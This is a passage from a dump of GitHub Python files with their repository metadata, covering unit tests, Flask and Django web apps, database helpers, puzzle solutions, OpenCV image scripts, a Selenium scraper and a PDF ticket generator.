start_time)\n","repo_name":"lotapp/BaseCode","sub_path":"python/5.concurrent/ZCoroutine/z_new_code/5.call_x.py","file_name":"5.call_x.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"36571339694","text":"import unittest\n\nfrom PyFoam.RunDictionary.SolutionDirectory import SolutionDirectory\nfrom PyFoam.RunDictionary.TimeDirectory import TimeDirectory\nfrom PyFoam.RunDictionary.SolutionFile import SolutionFile\nfrom PyFoam.RunDictionary.FileBasis import FileBasis\n\nfrom PyFoam.FoamInformation import oldTutorialStructure,foamTutorials,foamVersionNumber,foamFork\nfrom os import path,environ,remove,system\nfrom shutil import copytree,rmtree,copyfile\nfrom tempfile import mktemp,mkdtemp\n\ntheSuite=unittest.TestSuite()\n\ndef damBreakTutorial():\n prefix=foamTutorials()\n if oldTutorialStructure():\n prefix=path.join(prefix,\"interFoam\")\n else:\n prefix=path.join(prefix,\"multiphase\",\"interFoam\",\"laminar\")\n if foamFork() in [\"openfoam\",\"openfoamplus\"] and foamVersionNumber()>=(4,):\n prefix=path.join(prefix,\"damBreak\")\n return path.join(prefix,\"damBreak\")\n\ndef gammaName():\n if foamVersionNumber()<(1,6):\n return \"gamma\"\n elif foamVersionNumber()<(2,3):\n return \"alpha1\"\n else:\n return \"alpha.water\"\n\nclass TimeDirectoryTest(unittest.TestCase):\n def setUp(self):\n self.theDir=mkdtemp()\n self.theFile=path.join(self.theDir,\"damBreak\")\n copytree(damBreakTutorial(),self.theFile)\n if foamVersionNumber()>=(2,):\n if foamFork() in [\"openfoam\",\"openfoamplus\"] and foamVersionNumber()>=(4,):\n extension=\".orig\"\n else:\n extension=\".org\"\n copyfile(path.join(self.theFile,\"0\",gammaName()+extension),\n path.join(self.theFile,\"0\",gammaName()))\n\n def tearDown(self):\n rmtree(self.theDir)\n\n def testTimeDirectoryBasicContainerStuff(self):\n test=SolutionDirectory(self.theFile)[\"0\"]\n self.assertEqual(len(test),4)\n self.assert_(gammaName() in test)\n self.assert_(\"nix\" not in test)\n tf=test[\"U\"]\n self.assertEqual(type(tf),SolutionFile)\n self.assert_(FileBasis in tf.__class__.__mro__)\n self.assertRaises(KeyError,test.__getitem__,\"nix\")\n self.assertRaises(TypeError,test.__getitem__,42)\n lst=[]\n for v in test:\n lst.append(v.baseName())\n self.assert_(gammaName() in lst)\n self.assertEqual(len(lst),len(test))\n\n def testTimeDirectoryAdding(self):\n test=SolutionDirectory(self.theFile)[\"0\"]\n self.assertEqual(len(test),4)\n test[\"U2\"]=test[\"U\"]\n self.assertEqual(len(test),5)\n test[\"nix\"]=23\n self.assertEqual(len(test),6)\n del test[\"nix\"]\n self.assertEqual(len(test),5)\n del test[\"U2\"]\n self.assertEqual(len(test),4)\n\n def testTimeDirectoryCreating(self):\n self.assertEqual(len(SolutionDirectory(self.theFile)),1)\n test=TimeDirectory(self.theFile,\"42\",create=True)\n self.assertEqual(len(test),0)\n self.assertEqual(len(SolutionDirectory(self.theFile)),2)\n\ntheSuite.addTest(unittest.makeSuite(TimeDirectoryTest,\"test\"))\n\nclass TimeDirectoryTestZipped(unittest.TestCase):\n def setUp(self):\n self.theDir=mkdtemp()\n self.theFile=path.join(self.theDir,\"damBreak\")\n copytree(damBreakTutorial(),self.theFile)\n if foamVersionNumber()>=(2,):\n if foamFork() in [\"openfoam\",\"openfoamplus\"] and foamVersionNumber()>=(4,):\n extension=\".orig\"\n else:\n extension=\".org\"\n copyfile(path.join(self.theFile,\"0\",gammaName()+extension),\n path.join(self.theFile,\"0\",gammaName()))\n system(\"gzip \"+path.join(self.theFile,\"0\",gammaName()))\n\n def tearDown(self):\n rmtree(self.theDir)\n\n def testTimeReplacingZippedFile(self):\n test=SolutionDirectory(self.theFile)[\"0\"]\n self.assertEqual(len(test),4)\n if foamFork() in [\"openfoam\",\"openfoamplus\"] and foamVersionNumber()>=(4,):\n extension=\".orig\"\n else:\n extension=\".org\"\n test[gammaName()]=test[gammaName()+extension]\n self.assertEqual(len(test),4)\n\ntheSuite.addTest(unittest.makeSuite(TimeDirectoryTestZipped,\"test\"))\n\nclass TimeDirectoryTestCopy(unittest.TestCase):\n def setUp(self):\n self.theDir=mkdtemp()\n self.theFile=path.join(self.theDir,\"damBreak\")\n copytree(damBreakTutorial(),self.theFile)\n if foamVersionNumber()>=(2,):\n if foamFork() in [\"openfoam\",\"openfoamplus\"] and foamVersionNumber()>=(4,):\n extension=\".orig\"\n else:\n extension=\".org\"\n copyfile(path.join(self.theFile,\"0\",gammaName()+extension),\n path.join(self.theFile,\"0\",gammaName()))\n\n def tearDown(self):\n rmtree(self.theDir)\n\n def testTimeCopy(self):\n sol=SolutionDirectory(self.theFile)\n self.assertEqual(len(sol),1)\n sol[\"42\"]=sol[\"0\"]\n sol[\"13\"]=sol[\"0\"]\n self.assertEqual(len(sol),3)\n test1=sol[\"0\"]\n test2=sol[\"13\"]\n test3=sol[\"42\"]\n self.assertEqual(len(test3),4)\n del test3[gammaName()]\n self.assertEqual(len(test3),3)\n res=test1.copy(test3)\n self.assertEqual(len(test1),4)\n self.assertEqual(len(res),3)\n res=test1.copy(test3,purge=True)\n self.assertEqual(len(test1),3)\n self.assertEqual(len(res),3)\n res=test1.copy(test2,overwrite=False)\n self.assertEqual(len(test1),4)\n self.assertEqual(len(res),1)\n test1.clear()\n self.assertEqual(len(test1),0)\n res=test1.copy(test2,overwrite=False)\n self.assertEqual(len(test1),4)\n self.assertEqual(len(res),4)\n res=test1.copy(test2,overwrite=False)\n self.assertEqual(len(test1),4)\n self.assertEqual(len(res),0)\n self.assertEqual(len(test3),3)\n res=test3.copy(test1,mustExist=True)\n self.assertEqual(len(test3),3)\n self.assertEqual(len(res),3)\n test1.clear()\n res=test1.copy(test2,include=[gammaName()+\"*\"])\n self.assertEqual(len(test1),2)\n self.assertEqual(len(res),2)\n res=test1.copy(test2,exclude=[\"U\"],overwrite=False)\n self.assertEqual(len(test1),3)\n self.assertEqual(len(res),1)\n\ntheSuite.addTest(unittest.makeSuite(TimeDirectoryTestCopy,\"test\"))\n","repo_name":"Unofficial-Extend-Project-Mirror/openfoam-extend-Breeder-other-scripting-PyFoam","sub_path":"unittests/RunDictionary/test_TimeDirectory.py","file_name":"test_TimeDirectory.py","file_ext":"py","file_size_in_byte":6269,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"61"} +{"seq_id":"39788324271","text":"#! /usr/bin/python3.6\n\nimport random\nimport string\nimport datetime\nfrom itertools import groupby\nfrom operator import itemgetter\nfrom flask import Flask, render_template, request, flash, redirect\nfrom wtforms import Form, TextField, TextAreaField, validators, StringField, PasswordField, SubmitField\nfrom wtforms.fields.html5 import DateField\nimport getreport\nfrom parse import parse\nimport defaults\n\n# Set root URL for MRBS\ngetreport.rootURL = defaults.rootURL\n# Global loggedin\nloggedin = False\n\n\n# Define login form\nclass LoginForm(Form):\n username = StringField('Username:', validators=[validators.DataRequired()])\n password = PasswordField('Password:', validators=[validators.DataRequired()])\n\n\n# Define form for form page\nclass DateForm(Form):\n from_date = DateField('The week of:', format='%Y-%m-%d',\n validators=[validators.DataRequired()])\n areamatch = StringField('Areas:', validators=[validators.DataRequired()])\n\n\n# Set up flask\napp = Flask(__name__)\napp.config['SECRET_KEY'] = ''.join(\n random.choice(string.ascii_letters) for i in range(64))\n\n# Root URL\n@app.route(\"/\")\ndef mainpage():\n # Redirect to form if logged in\n if loggedin:\n return redirect(\"form\")\n # Redirect to login if not logged in\n else:\n return redirect(\"login\")\n\n\n# Login page\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef loginpage(username=\"\", password=\"\"):\n global loggedin\n # Redirect to the form if already logged in\n if loggedin:\n return redirect(\"form\")\n form = LoginForm(request.form)\n # Attempt log in if post recieved\n if request.method == \"POST\":\n if form.validate() and getreport.login(request.form[\"username\"], request.form[\"password\"]):\n loggedin = True\n # Redirect to form if logged in\n return redirect(\"form\")\n else:\n # Flash error message in case of incorrect user/pass\n flash(\"Please try again\")\n return render_template(\"login.html\", form=form)\n # Show login page if get recieved\n else:\n return render_template(\"login.html\", form=form)\n\n\n# Form for calendar/rendering calendar\n@app.route(\"/form\", methods=['GET'])\ndef printpage():\n form = DateForm(request.form)\n # If not logged in, redirect to login\n if not loggedin:\n return redirect(\"login\")\n # If logged in, move on to the form/render\n else:\n # Find next monday and set it as the prefilled area in the form\n monday = datetime.date.today()\n monday += datetime.timedelta(days=-\n datetime.date.today().weekday(), weeks=1)\n mondaytext = monday.strftime('%Y-%m-%d')\n return render_template(\"form.html\", form=form, last_monday=mondaytext,\n defaultarea=defaults.area, placeholder=defaults.areaplaceholder)\n\n\n@app.route(\"/print\", methods=['GET'])\ndef showcal():\n # If not logged in, redirect to login\n if not loggedin:\n return redirect(\"login\")\n # If logged in, show calendar\n elif loggedin:\n # Find next monday for default date if none provided\n monday = datetime.date.today()\n monday += datetime.timedelta(days=-\n datetime.date.today().weekday(), weeks=1)\n mondaytext = monday.strftime('%Y-%m-%d')\n\n # Set defaults\n from_date = request.args.get('from_date', default=mondaytext)\n areamatch = request.args.get('areamatch', default=defaults.area)\n\n # Set to_data to six days after from_date\n from_date_dt = datetime.datetime.strptime(from_date, '%Y-%m-%d')\n to_date_dt = from_date_dt + datetime.timedelta(days=6)\n to_date = to_date_dt.strftime('%Y-%m-%d')\n prev_week_dt = from_date_dt - datetime.timedelta(days=7)\n prev_week = prev_week_dt.strftime('%Y-%m-%d')\n next_week_dt = from_date_dt + datetime.timedelta(days=7)\n next_week = next_week_dt.strftime('%Y-%m-%d')\n\n # Get and parse report\n rawreport = getreport.getreport(from_date, to_date, areamatch)\n report = parse(rawreport)\n\n # Create arrays to send to template\n days = []\n weekdays = []\n daynumbers = []\n months = []\n month = from_date_dt.strftime('%B') + ' ' + from_date_dt.strftime('%Y')\n weeknumber = int(from_date_dt.strftime('%W')) + 1\n for i in range(7):\n currentdate = from_date_dt + datetime.timedelta(days=i)\n days += [currentdate]\n weekdays += [currentdate.strftime('%a').lower()]\n daynumbers += [currentdate.strftime('%d')]\n months += [currentdate.strftime('%b')]\n\n # Create empty array of events\n events = [[], [], [], [], [], [], []]\n # Go through report and add events to events\n for event in report:\n # nth day of the report (ie, 0-6)\n number = (event['start'] - from_date_dt).days\n # String for displayed times\n times = ''\n # Start time - Ignore minutes if they're 0\n if(event['start'].minute == 0):\n times += event['start'].strftime('%-I%p').lower()\n else:\n times += event['start'].strftime('%-I:%M%p').lower()\n times += '-'\n # End time\n if(event['end'].minute == 0):\n times += event['end'].strftime('%-I%p').lower()\n else:\n times += event['end'].strftime('%-I:%M%p').lower()\n\n # Array for rooms with numbers\n roomnumbers = []\n # Array for rooms with alpha names\n roomstrings = []\n # Add numbers to roomnumbers and strings to roomstrings\n for room in event['rooms']:\n try:\n roomnumbers += [int(room)]\n except ValueError:\n roomstrings += [room]\n # Array for runs of numbers (eg 1,2,3 or 13,14,15)\n roomsequences = []\n # Separate rooms into sequences and add to roomsequences\n for k, g in groupby(enumerate(roomnumbers), lambda ix: ix[0] - ix[1]):\n roomsequences += [list(map(itemgetter(1), g))]\n # Array for comma-separated values to print\n finalrooms = []\n # Add sequences to finals\n for sequence in roomsequences:\n # Turn 13,14,15 into 13-15, etc\n if len(sequence) > 1:\n roomstring = str(sequence[0])\n roomstring += '-'\n roomstring += str(sequence[-1])\n # Single rooms\n else:\n roomstring = str(sequence[0])\n # Add current sequence to finals\n finalrooms += [roomstring]\n # Add non-numeric rooms to finals and join them all with commas\n rooms = ', '.join(finalrooms + roomstrings)\n\n # Get name of event\n name = event['name']\n # Add event to events[]\n events[number] += [[times, rooms, name]]\n\n return render_template(\"week.html\", from_date=from_date, events=events,\n weekdays=weekdays, daynumbers=daynumbers,\n month=month, months=months, weeknumber=weeknumber,\n prevweek=prev_week, nextweek=next_week, areas=areamatch)\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"AidanRB/mrbs_print","sub_path":"render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":7444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10465565012","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('main', '0002_kindofwork_skill'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='skill',\n name='created_at',\n field=models.DateTimeField(auto_now_add=True, null=True),\n ),\n migrations.AddField(\n model_name='skill',\n name='updated_at',\n field=models.DateTimeField(auto_now=True, null=True),\n ),\n migrations.AlterField(\n model_name='volonter',\n name='fio',\n field=models.CharField(max_length=200, verbose_name='\\u0424\\u0418\\u041e'),\n ),\n migrations.AlterField(\n model_name='volonter',\n name='gender',\n field=models.CharField(max_length=1, choices=[('\\u041c', b'Male'), ('\\u0416', b'Female')]),\n ),\n ]\n","repo_name":"2vitalik/TUI_2015","sub_path":".old/Class works/Django_example/untitled1/main/migrations/0003_auto_20150930_1256.py","file_name":"0003_auto_20150930_1256.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"73303081473","text":"from django.db import models\nfrom django.conf import settings\nimport os\nfrom imagekit.models import ProcessedImageField\nfrom imagekit.processors import ResizeToFill\n\n# Create your models here.\nclass Info(models.Model):\n user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n title = models.CharField(max_length=20)\n content = models.TextField()\n views = models.IntegerField(default=0)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n\nclass Image(models.Model):\n info = models.ForeignKey(Info, on_delete=models.CASCADE)\n def info_image_path(instance, filename):\n return f'infobases/{instance.info.pk}/{filename}'\n\n image = ProcessedImageField(upload_to=info_image_path, blank=True, null=True, processors=[ResizeToFill(200, 200)], options={'quality':90})\n # image = ProcessedImageField(upload_to='', blank=True, null=True, processors=[ResizeToFill(200, 200)], options={'quality':90})\n\n def delete(self, *args, **kargs):\n if self.image:\n os.remove(os.path.join(settings.MEDIA_ROOT, self.image.name))\n super(Image, self).delete(*args, **kargs)\n \n def save(self, *args, **kargs):\n if self.id:\n old_info = Image.objects.get(id=self.id)\n if self.image != old_info.image:\n if old_info.image:\n os.remove(os.path.join(settings.MEDIA_ROOT, old_info.image.name))\n super(Image, self).save(*args, **kargs)\n\nclass Comment(models.Model):\n user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n info = models.ForeignKey(Info, on_delete=models.CASCADE)\n content = models.CharField(max_length=200)\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n","repo_name":"Dalnim-PJT/Dalnim-Project","sub_path":"infobases/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9939548840","text":"from functools import cmp_to_key\n\n\ndef compare(left, right):\n # print(\"Comparing {} and {}\".format(left, right))\n if type(left) == int and type(right) == int:\n if left < right:\n return True\n elif left > right:\n return False\n else:\n return None\n elif type(left) == list and type(right) == list:\n results = []\n for i in range(max(len(left), len(right))):\n try:\n result = compare(left[i], right[i])\n if result is not None:\n results.append(result)\n break\n except IndexError:\n results.append(len(left) <= len(right))\n return results[-1]\n elif type(left) == list and type(right) == int:\n right = [right]\n return compare(left, right)\n elif type(left) == int and type(right) == list:\n left = [left]\n return compare(left, right)\n\n\ndef cmp(left, right):\n # just a wrapper needed for cmp_to_key\n if compare(left, right):\n return -1\n else:\n return 1\n\n\nlines = [x.strip(\"\\n\") for x in open(\"input.txt\")]\nlines = [x for x in lines if x != \"\"]\nlines = [lines[i:i+2] for i in range(0, len(lines), 2)]\n\nright_order = []\nfor i, (left, right) in enumerate(lines):\n left = eval(left)\n right = eval(right)\n if compare(left, right):\n right_order.append(i+1)\n\nprint(\"Part 1: \", sum(right_order))\n\nlines = [x.strip(\"\\n\") for x in open(\"input.txt\")]\nlines = [eval(x) for x in lines if x != \"\"]\nlines.append([[2]])\nlines.append([[6]])\n\nsorted_lines = sorted(lines, key=cmp_to_key(cmp))\nprint(\"Part 2: \", (sorted_lines.index([[2]])+1)*(sorted_lines.index([[6]])+1))\n","repo_name":"brisutom/Aoc2022","sub_path":"13/part12.py","file_name":"part12.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35908876149","text":"# 08. Criar um algoritmo que calcule a soma dos números pares entre 25 e 200.\n\ndef ePar(n):\n return n % 2 == 0\n\ndef SomaPares(inicio, final):\n if not ePar(inicio):\n inicio += 1\n soma = 0 \n for i in range(inicio, final + 1, 2):\n soma += i\n return soma\n\na = int(input(\"Início: \"))\nb = int(input(\"Final: \"))\n\nprint(\"Soma dos pares entre %d e %d: %d\" % (a, b, SomaPares(a, b)))\n\n","repo_name":"ritomar/386-2016-2","sub_path":"Ex04_Q08.py","file_name":"Ex04_Q08.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"27640512796","text":"import sys\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\n\nimport HelloWorld\n\ndef click_success():\n print(\"啊哈哈哈我终于成功了!\")\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n MainWindow = QMainWindow()\n ui = HelloWorld.Ui_MainWindow()\n ui.setupUi(MainWindow)\n MainWindow.show()\n ui.pushButton.clicked.connect(click_success)\n sys.exit(app.exec_())","repo_name":"oscarcx123/tree","sub_path":"assets/code/pyqt5/0x04 Interaction/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"23539419621","text":"import sys\r\nimport os\r\n\r\ndef solve(p, f):\r\n flipCnt = 0\r\n\r\n def flip(startIndex):\r\n nonlocal flipCnt\r\n if startIndex + f > len(p):\r\n return False\r\n else:\r\n flipCnt += 1\r\n for i in range(startIndex, startIndex + f):\r\n p[i] = not(p[i])\r\n return True\r\n for i in range(len(p)):\r\n if not(p[i]) and not(flip(i)):\r\n return 'IMPOSSIBLE'\r\n return flipCnt\r\n\r\ndef main():\r\n with open(sys.argv[1]) as fp:\r\n def readline():\r\n return fp.readline().strip()\r\n num_cases = int(readline())\r\n with open(os.path.splitext(sys.argv[1])[0] + '.out', 'w') as fpo:\r\n for i in range(num_cases):\r\n p, f = readline().split()\r\n f = int(f)\r\n p = [x == '+' for x in p]\r\n res = \"Case #%d: %s\\n\" % (i + 1, solve(p, f))\r\n print(res, end='')\r\n fpo.write(res)\r\nmain()\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/1092.py","file_name":"1092.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22591482328","text":"import pymongo.errors\nfrom pymongo import MongoClient\n\nclient = MongoClient(r\"\")\ndb = client.bmun\nuser_collection = db['users']\nmeeting_collection = db['meetings']\n\n\ndef add_meeting(data):\n try:\n meeting_collection.insert_one({\n '_id': int(data['meeting_id']),\n 'topic': data['topic'],\n 'meeting_url': data['meeting_url'],\n 'time': data['time']\n })\n return f\"Scheduled {data['topic']} successfully\"\n except pymongo.errors.DuplicateKeyError:\n return 'Meeting already exists'\n\n\ndef fetch_meetings():\n meetings = []\n results = meeting_collection.find()\n for result in results:\n meetings.append(\n {\n 'topic': result['topic'],\n 'time': result['time'],\n 'meeting_id': result['_id'],\n 'meeting_url': result['meeting_url']\n }\n )\n return meetings\n\n\ndef fetch_meeting(id):\n meeting = meeting_collection.find_one({'_id': int(id)})\n return meeting\n\n\ndef update_meeting(id, data):\n meeting_collection.delete_one({'_id': int(id)})\n meeting_collection.insert_one({\n '_id': int(data['meeting_id']),\n 'topic': data['topic'],\n 'time': data['time'],\n 'meeting_url': data['meeting_url'],\n }\n )\n return 'Meeting updated successfully'\n\n\ndef delete_meeting(id):\n meeting_collection.delete_one({'_id': int(id)})\n return 'Deleted meeting successfully'\n","repo_name":"Pancham1603/BirlaMUN-21","sub_path":"meetings.py","file_name":"meetings.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"2395220698","text":"\"\"\"make progress required\n\nRevision ID: bb1ad1427f19\nRevises: 6f6ae77c43f5\nCreate Date: 2022-11-03 10:24:32.680371\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = 'bb1ad1427f19'\ndown_revision = '6f6ae77c43f5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('scans', 'progress',\n existing_type=sa.INTEGER(),\n nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('scans', 'progress',\n existing_type=sa.INTEGER(),\n nullable=True)\n # ### end Alembic commands ###\n","repo_name":"OpenChemistry/distiller","sub_path":"backend/app/alembic/versions/bb1ad1427f19_make_progress_required.py","file_name":"bb1ad1427f19_make_progress_required.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"6083043787","text":"from pixelstocircles import *\npath ='/home/helen/Documents/HelenExperimentalCode/Image_generation_MULTEM_largetry/predictions/Brookespredictionseverythingtogetherfolder/vacancy_mask/Cycled_004_Hour_00_Minute_00_Second_41_Frame_0003.png'\nimg_dir= '/home/helen/Documents/HelenExperimentalCode/experimentaldataextraction/linearsinglelinedefects/layers/'\n\n\ndef connected_component_label(img):\n '''\n # Getting the input image\n img = cv2.imread(path, 0)\n # Converting those pixels with values 1-127 to 0 and others to 1\n img = cv2.threshold(img, 127, 255, cv2.THRESH_BINARY)[1]\n '''\n # Applying cv2.connectedComponents() \n connectivity=1\n num_labels, labels = cv2.connectedComponents(img, connectivity)\n print(num_labels)\n # Map component labels to hue val, 0-179 is the hue range in OpenCV\n label_hue = np.uint8(179*labels/np.max(labels))\n blank_ch = 255*np.ones_like(label_hue)\n labeled_img = cv2.merge([label_hue, blank_ch, blank_ch])\n\n # Converting cvt to BGR\n labeled_img = cv2.cvtColor(labeled_img, cv2.COLOR_HSV2BGR)\n\n # set bg label to black\n labeled_img[label_hue==0] = 0\n \n cv2.imwrite( img_dir+'label_hue.png',labeled_img)\n \n # Visualisation Showing Original Image\n plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\n plt.axis(\"off\")\n plt.title(\"Orginal Image\")\n plt.show()\n \n #Showing Image after Component Labeling\n plt.imshow(cv2.cvtColor(labeled_img, cv2.COLOR_BGR2RGB))\n plt.axis('off')\n plt.title(\"Image after Component Labeling\")\n plt.show()\n \n\n #trying component separation\n '''\n gray = img\n t, thresh = cv2.threshold(gray, 105, 255, cv2.THRESH_BINARY_INV, cv2.THRESH_OTSU)\n\n connectivity = 8 \n num_labels, label= cv2.connectedComponents(thresh, connectivity)\n label = label + 1\n\n thresh = cv2.cvtColor(thresh,cv2.COLOR_GRAY2RGB)\n\n h, w = thresh.shape[:2]\n for index in range(1, num_labels):\n mask = np.zeros((h, w), np.uint8)\n mask[label == index + 1] = 1\n obj = thresh * mask[:, :, np.newaxis]\n obj = obj[..., : : -1]\n\n #plt.subplot(1, 147, index)\n plt.imshow(obj)\n plt.xticks([]), plt.yticks([])\n plt.title(index)\n plt.show()\n # plt.savefig('layers_separated.png')\n '''\n \nconnected_component_label(img)\n\n","repo_name":"helenwl/Part2Project","sub_path":"dataextractionsingleexample/connectedcomponentsinimage.py","file_name":"connectedcomponentsinimage.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42412085651","text":"from rest_framework import serializers\nfrom items.models import Item\nfrom rest_framework_recursive.fields import RecursiveField\n\n\nclass RecursiveSerializer(serializers.Serializer):\n def to_representation(self, value):\n serializer = self.parent.parent.__class__(value, context=self.context)\n return serializer.data\n\n\n# Формирует список (дерево) категорий и товаров\nclass ItemsListSerializer(serializers.ModelSerializer):\n children = RecursiveSerializer(many=True, read_only=True)\n\n class Meta:\n model = Item\n fields = ('type', 'name', 'id', 'parentId', 'price', 'date', 'children')\n\n\n# Просмотр, создание и редактирование\nclass ItemDetailSerializer(serializers.ModelSerializer):\n user = serializers.HiddenField(default=serializers.CurrentUserDefault())\n children = RecursiveSerializer(many=True, read_only=True)\n\n class Meta:\n model = Item\n fields = ('type', 'name', 'id', 'parentId', 'price', 'date', 'children', 'user')\n\n","repo_name":"bevsta/forbackendschool","sub_path":"items/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11608346892","text":"# Recognize faces from the image -------\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n# Read the image, convert it into a gray image, and show it\r\nimage=cv2.imread('people.jpeg')\r\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\nplt.imshow(gray,cmap='gray'),plt.show()\r\n\r\n# Convert image to RGB image\r\ndef convertToRGB(image):\r\n return cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\r\n\r\n# Call the facial recognition database\r\nface = cv2.CascadeClassifier('haarcascade_frontalface_alt2.xml')\r\n\r\n# Detect faces in the frame\r\nface_coo = face.detectMultiScale(gray, scaleFactor = 1.2, minNeighbors = 5)\r\nprint('Faces found :',len(face_coo))\r\n\r\nfor(x_face,y_face,w_face,h_face) in face_coo:\r\n cv2.rectangle(image,(x_face,y_face),(x_face+w_face,y_face+w_face),(0,255,0),10) # Draw a rectangle on faces\r\n\r\nplt.imshow(convertToRGB(image)),plt.show()","repo_name":"Raneen111/Image-processing-with-opencv","sub_path":"AI6.py","file_name":"AI6.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15344778472","text":"from selenium import webdriver\r\nfrom selenium.webdriver.common import keys\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport time\r\n\r\nPATH = \"C:\\webdrivers\\chromedriver.exe\"\r\ndriver = webdriver.Chrome(PATH)\r\ndriver.get(\"http://eeaonline.eea.state.ma.us/Portal/#!/search/asbestos\")\r\n\r\n\r\nprint(driver.title)\r\ndata = driver.find_element_by_class_id(\"TownName\")\r\ndata.send_keys(\"test\")\r\ndata.send_keys(keys.RETURN)\r\nprint(data.text)\r\ntime.sleep(5)\r\n\r\ndriver.quit()","repo_name":"sushma-crypt/sushma_sharing","sub_path":"projects/MADEP/tim.py","file_name":"tim.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32224049531","text":"from typing import List\nfrom typing import Optional\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def flatten(self, root: Optional[TreeNode]) -> None:\n \"\"\"\n Do not return anything, modify root in-place instead.\n \"\"\"\n def preorder(node):\n if not node: return []\n return [node.val] + preorder(node.left) + preorder(node.right)\n \n traversal = preorder(root)\n print(traversal)\n if len(traversal) <= 1:\n return root\n root.val = traversal[0]\n root.left = None\n cur_node = root\n for val in traversal[1:]:\n \n node = TreeNode(val)\n cur_node.right = node\n cur_node = cur_node.right\n \n\n return root\n \n ","repo_name":"chrisbyd/leetcode_chris","sub_path":"dfs/114.py","file_name":"114.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22974933820","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 21 11:47:14 2023\n\n@author: jeffrey\n\"\"\"\nfrom datetime import datetime\nimport random\nfrom fpdf import FPDF\nimport csv\nfrom tkinter import *\nimport tkinter as tk\nfrom tkinter.ttk import Combobox\n\n\n\n\nclass Ticket(FPDF):\n\n def header(self):\n self.image('KeeleCinemaLogo.png', 5, 4, 30)\n \n #font\n self.set_font('times', 'BU', size=20)\n #Padding\n self.cell(60)\n #title\n self.cell(90, 10, 'Movie Ticket', border=1, ln=1, align='C')\n #line break\n self.ln(20)\n \n # page footer\n def footer(self):\n #set postion of the footer \n self.set_y(-15)\n #set font\n self.set_font('times', 'I', size=12)\n #Page number\n self.cell(0, 10, f'Page {self.page_no()}/{{nb}}', align='C' )\n \n def printpdf (orderSummary):\n pdf = Ticket('P', 'mm', 'A4')\n \n #get total page numbers\n pdf.alias_nb_pages()\n \n #set auto page break\n pdf.set_auto_page_break(auto=True, margin=15)\n \n ## add a blank page to the PDF doc\n pdf.add_page()\n \n ## set font of text\n # fonts ('times', 'courier', 'helvetica', 'symbol', 'zpfdingbats')\n # 'B' - bold, 'U' - underlined, 'I' - italics, '' (regular), combination e.g. ('BU')\n pdf.set_font('times', 'B', 12) \n \n #add Page Contents\n pdf.set_xy(20,40)\n pdf.cell(180, 10, 'Movie Title:', 1, 0, 'C')\n \n \n pdf.set_xy(20, 